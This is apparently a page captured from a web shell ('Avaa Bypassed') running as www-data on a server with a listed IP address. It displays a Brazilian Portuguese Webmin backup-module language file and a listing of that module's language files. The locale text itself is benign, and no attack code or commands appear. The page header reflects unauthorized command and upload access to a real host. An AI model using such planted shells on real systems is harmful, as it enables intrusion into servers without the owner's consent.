[ Avaa Bypassed ]




Upload:

Command:

www-data@18.117.11.129: ~ $
index_title=Backup de Arquivos
index_add=Criar um novo backup do diretório:
index_none=Os backups de arquivos ainda não foram configurados.
index_none2=Você não tem acesso às configurações de backup existentes.
index_restore=Tipo da restauração de backup de arquivos:
index_restoremsg=Escolha o tipo de sistema de arquivos, depois clique neste botão para escolher um backup para restaurar.
index_restore2=Restaurar backup de arquivos
index_restoremsg2=Clique neste botão para selecionar qual backup será restaurado.
index_ecommands=Nenhum dos comandos de backup necessários neste módulo (como o $1) foi encontrado no seu sustema. Pode ser que eles não estejam instalados.
index_return=lista de backup
index_running=Executando Tarefas de Backup
index_jobs=Backups Agendados
index_start=Começou
index_status=Situação atual
index_status_running=Executando
index_status_tape=Esperando fita
index_action=Ação
index_kill=Terminar
index_newtape=Fita carregada
index_noact=Nenhum disponível
index_now=Backup ..
index_follow=Depois de $1
index_forcetar=No formato TAR
index_delete=Remover Backups Selecionados
index_nostrftime=Alerta ? algumas tarefas de backup usam % nos seus nomes de arquivo, mas a substituição strftime não está habilitada na página de Configuração de Módulo.

dump_dir=Diretório para fazer backup
dump_dirs=Diretórios para fazer backup
dump_fs=Sistema de Arquivos
dump_sched=Agendado?
dump_when=Nos horários
dump_dest=Fazer backup em
dump_file=Arquivo ou dispositivo de fita
dump_host=Host $1 como usuário $2 no arquivo ou dispositivo $3
dump_level=Nível de Dump
dump_level_0=0 (Backup completo)
dump_label=Rótulo do backup
dump_multi=Dividir em múltiplos arquivos?
dump_update=Atualzar o arquivo <tt>/etc/dumpdates</tt>?
dump_exclude=Pular os seguintes arquivos e diretórios
dump_edir=Diretório para fazer backup inválido ou não preenchido
dump_efile=Arquivo ou dispositivo de backup inexistente
dump_ehost=Host de backup inválido ou não preenchido
dump_ehuser=Nome de usuário para backup no host inválido ou não preenchido
dump_ehuser2=Nome de usuário não pode conter o caractere @
dump_ehfile=Arquivo ou dispositivo de backup no host inexistente ou inválido
dump_elabel=Rótulo de backup inválido (pode ter no máximo 15 caracteres)
dump_elabel2=Rótulo de backup inválido (pode ter no máximo 255 caracteres)
dump_eblocks=Tamanho de fita inválido ou não preenchido
dump_ebsize=Tamanho de arquivo de registro de dump inválido ou não preenchido
dump_max=Tamanho máximo de arquivo a ser incluido
dump_unlimited=Ilimitado
dump_attribs=Incluir atributos de arquivo?
dump_over=Pedir confirmação antes de sobrescrever a fita?
dump_overwrite=Sempre sobrescrever o backup?
dump_invent=Registrar backup no inventário?
dump_emax=Tamanho máximo de arquivo inválido ou não preenchido
dump_emp=O diretório do backup deve ser um ponto de montagem no sistema de arquivos
dump_erase=Excluir arquivo / apagar fita antes do backup?
dump_verify=Verificar dados após o backup?
dump_offline=Ejetar fita após o backup?
dump_blocks=Tamanho da fita
dump_bsize=Tamanho de bloco do registro de dump
dump_auto=Resolver automaticamente
dump_honour=Sempre excluir arquivos marcados?
dump_comp=Compactar dados?
dump_complvl=Sim, com nível
dump_ecomp=Nível de compressão inválido ou não preenchido
dump_before=Comando a ser executado antes do backup
dump_after=Comando a ser executado após o backup
dump_fok=Interromper se o camando falhar
dump_extra=Parâmetros de linha de comando adicionais
dump_rsh=Comando de backup remoto
dump_rsh0=Padrão (RSH)
dump_rsh1=SSH
dump_rsh3=FTP
dump_rsh2=Outro comando ..
dump_pass=Senha para conexão SSH
dump_pass2=Senha para conexão SSH/FTP
dump_ersh=Comando de backup remoto inválido ou não preenchido
dump_essh=SSH não pode ser usado para backups remotos a menos que o comando <tt>ssh</tt> esteja instalado no seu sistema
dump_ecannot1=Você não tem permissão para criar backups
dump_ecannot2=Você não tem permissão para editar este backup
dump_ecannot3=Você não tem permissão para fazer backup com este diretório
dump_format=Formato de backup
dump_tar=TAR de Unix
dump_dumpfs=Dump de sistema de arquivos $1
dump_gzip=Compactar arquivo?
dump_gzip1=Sim, com gzip
dump_gzip2=Sim, com bzip
dump_bcomp=Armazenar dados compactados temporariamente em blocos?
dump_xdev=Limitar o backup a um sistema de arquivos?
dump_update2=Acrescentar somente arquivos novos ao backup?
dump_notape=Pedir nova fita, se necessário?
dump_rmt=Caminho do <tt>rmt</tt> em sistemas remotos
dump_links=Seguir links simbólicos?
dump_egzip=A compressão gzip é incompatível com a opção de tamanho de fita
dump_egzip2=A compressão gzip é incompatível com a opção de backup de múltiplos  arquivos
dump_egzip3=A compressão gzip é incompatível com a opção de só acrescentar arquivos ao backup
dump_emulti=Backups de múltiplos arquivos não podem ser feitos em um dispositivo de fita
dump_emulti2=Backups de múltiplos arquivos não podem ser feitos em um servidor remoto
dump_ermt=Endereço do programa <tt>rmt</tt> inválido ou não inserido
dump_reverify=Tentar restaurar após o backup para verificação?
dump_remount=Remontar, com a opção <tt>noatime</tt>, durante o backup?
dump_eftpupdate=Não é possível acrescentar arquivos a um backup existente usando FTP.
dump_eleveldir=Só são permitidos backups de nível 0 para diretórios que não são pontos de montagem de sistemas de arquivos
dump_eupdatedir=O arquivo <tt>/etc/dumpdates</tt> só pode ser atualizado para diretórios que são pontos de montagem de sistemas de arquivos

edit_err=Erro ao criar backup
edit_edir=Diretório de backup não preenchido
edit_efs=Não é possível fazer o backup de sistemas de arquivos do tipo $1 com este módulo
edit_title=Criar Novo Backup
edit_title2=Editar Backup
edit_header=Detalhes do backup do sistema de arquivos $1
edit_header2=Agenda de backups
edit_header3=Opções de backup
edit_enabled=Backup agendado habilitado?
edit_enabled_no=Desabilitado
edit_enabled_yes=Habilitado, nas horas selecionadas abaixo..
edit_enabled_af=Habilitado, depois de:
edit_savenow=Salvar e Fazer Backup Agora
edit_createnow=Criar e Fazer Backup Agora
edit_return=dump
edit_email=Endereço de e-mail para saída agendada
edit_subject=Assunto do e-mail
edit_restore=Restaurar ..
edit_to=$1 em $2
edit_tolevel=$1 em $2 (nível $3)
edit_special=Agenda de backups

save_err=Erro ao salvar backup
save_edir=Diretório de backup inválido ou não preenchido
save_efs=O diretório do backup não pode trocar de sistema de arquivos

backup_title=Fazer Backup Agora
backup_desc=Fazendo o backup de $1 em $2 ..
backup_reverify=.. completo. Verificando backup ..
backup_beforefailed=.. comando anterior ao backup falhou!
backup_afterfailed=.. comando após o backup falhou!
backup_done=.. backup completo.
backup_failed=.. backup falhou!
backup_noverify=.. verificação falhou!
backup_notape=.. backup excedeu a capacidade de uma fita única. A troca de fitas só é suportada em backups executados como processos de plano de fundo.
backup_egone=Backup não existe!
backup_bg=Iniciando o processo de backup. Você pode monitorar o progresso na sessão <b>Tarefas de Plano de Fundo em Execução</b> na página principal do módulo. O sistema informará o término do processo via e-mail.
backup_ecannot=Você não tem permissão para fazer backup com este diretório

restore_title=Restaurar Backup
restore_err=Erro ao restaurar backup
restore_ecommand=O comando $1, necessário para a restauração de backups de sistemas de arquivos $2, não foi encontrado no seu sistema. Pode ser que ele não esteja instalado.
restore_theader=Restaurar backup de um arquivo TAR de Unix
restore_header=Restaurar backup de um sistema de arquivos $1
restore_src=Restaurar de arquivo ou dispositivo
restore_dir=Restaurar para diretório
restore_ok=Restaurar Backup Agora
restore_over=Sobrescrever arquivos existentes?
restore_over0=Sempre
restore_over1=A menos que sejam mais recentes que o backup
restore_over2=Nunca
restore_noattribs=Restaurar atributos de arquivos?
restore_label=Só restaurar backup com rótulo
restore_files=Arquivos para restaurar
restore_all=Tudo no backup
restore_sel=Arquivos listados ..
restore_multi=O backup está dividido em vários arquivos?
restore_efile=Arquivo ou dispositivo para restauração inexistente
restore_ehost=Host de restauração inválido ou não preenchido
restore_ehuser=Nome de usuário no host de restauração inválido ou não preenchido
restore_ehfile=Arquivo ou dispositivo no host de restauração inválido ou não preenchido
restore_now=Restaurando backup com o comando $1 ..
restore_desc=Esta página permite restaurar backups de sistemas de arquivo. Tome cuidado ao restaurar, pois arquivos modificados depois do backup podem ser sobrescritos.
restore_efiles=Arquivos para restauração não encontrados
restore_evolume=Restaurações de múltiplos volumes não são suportadas
restore_equestion=Pergunta de restauração desconhecida: $1
restore_edir=Diretório para restauração inválido ou não preenchido
restore_failed=Erro na restauração: $1
restore_failed2=Erro na restauração! Veja as mensagens acima.
restore_complete=A restauração foi completada com sucesso.
restore_test=Só mostrar arquivos no backup?
restore_nothing=Só testar o backup?
restore_extra=Opções de linha de comando adicionais
restore_rsh=Comando de restauração remota
restore_ersh=Comando de restauração remota inválido ou não preenchido
restore_essh=SSH não pode ser usado para restaurações remotas a menos que o comando <tt>ssh</tt> esteja instalado no seu sistema
restore_ecannot=Você não tem permissão para restaurar backups
restore_perms=Restaurar permissões de arquivos?
restore_gzip=Descompactar arquivo?
restore_keep=Não sobrescrever arquivos?
restore_emulti=Não é possível fazer restaurações de múltiplos arquivos de um dispositivo de fita
restore_emulti2=Não é possível fazer restaurações de múltiplos arquivos de um servidor remoto

log_create=Foram criadas configurações de backup para $1
log_modify=Foram modificadas as configurações de backup para $1
log_delete=Foram removidas as configurações de backup para $1
log_backup=Foi feito o backup de $1 em $2
log_bgbackup=O backup de $1 em $2 foi iniciado
log_restore=O backup de $1 foi restaurado
log_kill=O backup para $1 foi finalizado

kill_err=Falha ao finalizar o backup
kill_egone=Inativo!
kill_ecannot=Você não tem permissão para interromper este backup

newtape_err=Falha ao indicar a nova fita
newtape_egone=Backup não está mais sendo executado!
newtape_estatus=Backup não está mais esperando uma nova fita
newtape_ecannot=Você não tem permissão para gerenciar este backup

acl_edit=Pode criar e editar backups?
acl_restore=Pode restaurar backups?
acl_cmds=Pode editar comandos pré e pós backup?
acl_extra=Pode editar parâmetros de linha de comando?
acl_dirs=Diretórios permitidos para backup
acl_all=Todos os diretórios
acl_list=Somente os listados ..

delete_err=Erro ao excluir backups
delete_enone=Nenhum selecionado

email_already=O backup já está sendo executado, com PID $1.
email_ebefore=Falha no comando pré-backup!
email_verify=Verificando backup ..
email_eafter=Falha no comando pós-backup!
email_subject=Backup de $1 em $2
email_ok=Backup completo
email_failed=Falha no backup

newtape_subject=Mudança de fita $1 para o backup de $2 em $3
newtape_body=O backup de $2 em $3 atingiu a quantidade máxima de dados permitidos na fita $1. Será necessário inserir outra fita e clicar no link ?Fita carregada? no módulo de Backup de Sustemas de Arquivos do Webmin para que o backup continue.

Filemanager

Name Type Size Permission Actions
af.auto File 10.98 KB 0644
ar File 68 B 0644
ar.auto File 16.51 KB 0644
be.auto File 20.23 KB 0644
bg.auto File 19.73 KB 0644
ca File 11.71 KB 0644
cs File 11.3 KB 0644
cs.auto File 834 B 0644
da.auto File 11.57 KB 0644
de File 11.76 KB 0644
el.auto File 23.14 KB 0644
en File 10.07 KB 0644
es File 6.47 KB 0644
es.auto File 6.48 KB 0644
eu.auto File 11.76 KB 0644
fa.auto File 17.45 KB 0644
fi.auto File 11.94 KB 0644
fr.auto File 13.31 KB 0644
he.auto File 13.41 KB 0644
hr.auto File 12.39 KB 0644
hu File 9.92 KB 0644
hu.auto File 214 B 0644
it.auto File 11.78 KB 0644
ja File 8.32 KB 0644
ja.auto File 3.67 KB 0644
ko File 10.92 KB 0644
ko.auto File 1.45 KB 0644
lt.auto File 12.46 KB 0644
lv.auto File 11.51 KB 0644
ms.auto File 11.01 KB 0644
mt.auto File 11.57 KB 0644
nl File 11.09 KB 0644
nl.auto File 157 B 0644
no File 12.1 KB 0644
pl File 12 KB 0644
pl.auto File 55 B 0644
pt.auto File 11.79 KB 0644
pt_BR File 11.45 KB 0644
pt_BR.auto File 248 B 0644
ro.auto File 12.77 KB 0644
ru File 8.87 KB 0644
ru.auto File 11.24 KB 0644
sk.auto File 11.88 KB 0644
sl.auto File 12.04 KB 0644
sv.auto File 11.95 KB 0644
th.auto File 23.65 KB 0644
tr.auto File 11.71 KB 0644
uk File 8.69 KB 0644
uk.auto File 11.04 KB 0644
ur.auto File 15.68 KB 0644
vi.auto File 13.24 KB 0644
zh File 3.87 KB 0644
zh.auto File 5.58 KB 0644
zh_TW File 3.74 KB 0644
zh_TW.auto File 5.63 KB 0644